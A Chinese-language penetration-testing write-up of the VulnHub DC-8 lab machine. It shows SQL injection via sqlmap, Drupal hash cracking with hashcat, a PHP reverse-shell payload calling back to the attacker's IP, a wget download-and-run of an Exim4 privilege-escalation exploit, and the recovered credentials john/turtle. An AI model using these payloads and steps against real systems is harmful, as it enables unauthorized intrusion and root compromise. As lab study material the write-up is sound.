VulnHub DC-8 靶机渗透测试笔记

靶机信息

• 靶机名称：DC-8
• 靶机来源：VulnHub
• 目标：获取 root 权限，找到最终 flag
• 难度：⭐⭐⭐⭐☆（中等偏难）
• 涉及技术：信息收集、SQL注入、hashcat 哈希破解、PHP 反弹 Shell、Exim4 SUID 提权

---

一、信息收集

1.1 主机发现

ifconfig

nmap -sn 192.168.168.0/24

1.2 端口与服务扫描

nmap -A -p- 192.168.168.169

依旧输入 IP 跳域名，Kali 和本机都改一下 hosts：

# Kali
echo "192.168.168.169 wordy" >> /etc/hosts

# Windows
# C:\Windows\System32\drivers\etc\hosts
# 添加：192.168.168.169 wordy

依旧老 CMS：

1.3 目录扫描

dirsearch -u http://wordy -x 404,403

-x 404,403 的作用是排除「页面不存在」和「禁止访问」的结果，让输出更干净，不然一堆无用信息。

找到后台登录界面：http://wordy/user

---

二、SQL 注入

2.1 发现注入点

找到一个有输入框的地方：

测了几个地方，这几个按钮的 URL 地址是：

http://wordy/?nid=1
http://wordy/?nid=2
http://wordy/?nid=3

尝试在参数后加单引号测试：

http://wordy/?nid=3'

报错了！说明可能存在 SQL 注入：

判断注入的最简单方式： 加单引号 ' 看是否报错，报错基本就是有注入点。

2.2 sqlmap 跑注入

sqlmap -u "http://wordy/?nid=3" --dbs

跑出来了，继续找数据库里的账号密码：

---

三、哈希破解

在线的 cmd5 解密找不到，自己爆破一下试试：

先确认哈希类型，查询 hashcat 哈希表：

• 参考：https://hashcat.net/wiki/doku.php?id=example_hashes
• 

hashcat -m 7900 passwords.txt rockyou.txt

-m 7900 对应的是 Drupal7 的哈希类型，不同 CMS 用的哈希算法不一样，要先确认类型再选对应的模式号。

破解出来了一个：

john / turtle

---

四、登录后台 GetShell

4.1 登录后台

4.2 发现 PHP 富文本功能

找到一个 PHP 富文本功能，可以直接写 PHP 代码：

先用 <?php phpinfo();?> 测试是否能执行：

需要先提交

能执行！说明可以写反弹 Shell。

4.3 写入反弹 Shell（也可以用msf的）

<?php 
    $sock = fsockopen("192.168.168.128", 5566); 
	$proc = proc_open("/bin/sh -i", array(0=>$sock,1=>$sock, 2=>$sock), $pipes); 
?>

Kali 监听：

nc -lvnp 5566

升级为交互式终端：

python -c 'import pty;pty.spawn("/bin/bash")'

用户目录什么都没有，去找提权方向：

---

五、提权

5.1 SUID 文件查找

find / -perm -u=s -type f 2>/dev/null

发现 exim4，查看版本：

exim4 --version

ai给出

5.2 搜索 Exim4 漏洞

searchsploit exim 4

查看脚本路径并复制到当前目录：

searchsploit -p 46996#查看
searchsploit -m 46996#复制

5.3 传输 exp 到靶机

Kali 开启 HTTP 服务：

python3 -m http.server 8888

靶机下载：

wget http://192.168.168.128:8888/46996.sh

当前目录无权限，切换到 /tmp：

cd /tmp
wget http://192.168.168.128:8888/46996.sh

chmod 777 46996.sh
./46996.sh

没有成功，查看源码让 AI 分析一下：

cat 46996.sh

再次尝试./46996.sh -m netcat

./46996.sh -m netcat

分析发现： 这个 exp 获得的 root 权限是临时的，时间过了权限就变回去了。不过看 flag 已经足够了。反弹 Shell 试了不行，理论上写个 SUID 再提权应该可以，这里就不展开了。

最终取得 flag：

---

六、渗透流程总结

信息收集（nmap + dirsearch）
    ↓
发现 nid 参数 → 单引号测试报错 → 确认 SQL 注入
    ↓
sqlmap 跑库 → 拿到哈希 → hashcat 破解 → john/turtle
    ↓
登录后台 → 发现 PHP 富文本 → 写入反弹 Shell
    ↓
nc 接收 shell → www-data
    ↓
SUID 发现 exim4 → searchsploit 找 exp → 46996.sh
    ↓
/tmp 下执行 → 临时 root → 读取 flag ✅

---

七、涉及工具汇总

工具	用途
nmap	端口扫描、服务识别
dirsearch	Web 目录扫描（-x 过滤无效状态码）
sqlmap	自动化 SQL 注入
hashcat	GPU 加速哈希爆破
nc	反弹 Shell 监听
searchsploit	本地漏洞库搜索
python3 http.server	临时 HTTP 文件传输

---

本文为 VulnHub DC-8 靶机学习笔记，所有操作均在本地搭建的靶场环境中完成，仅用于学习交流。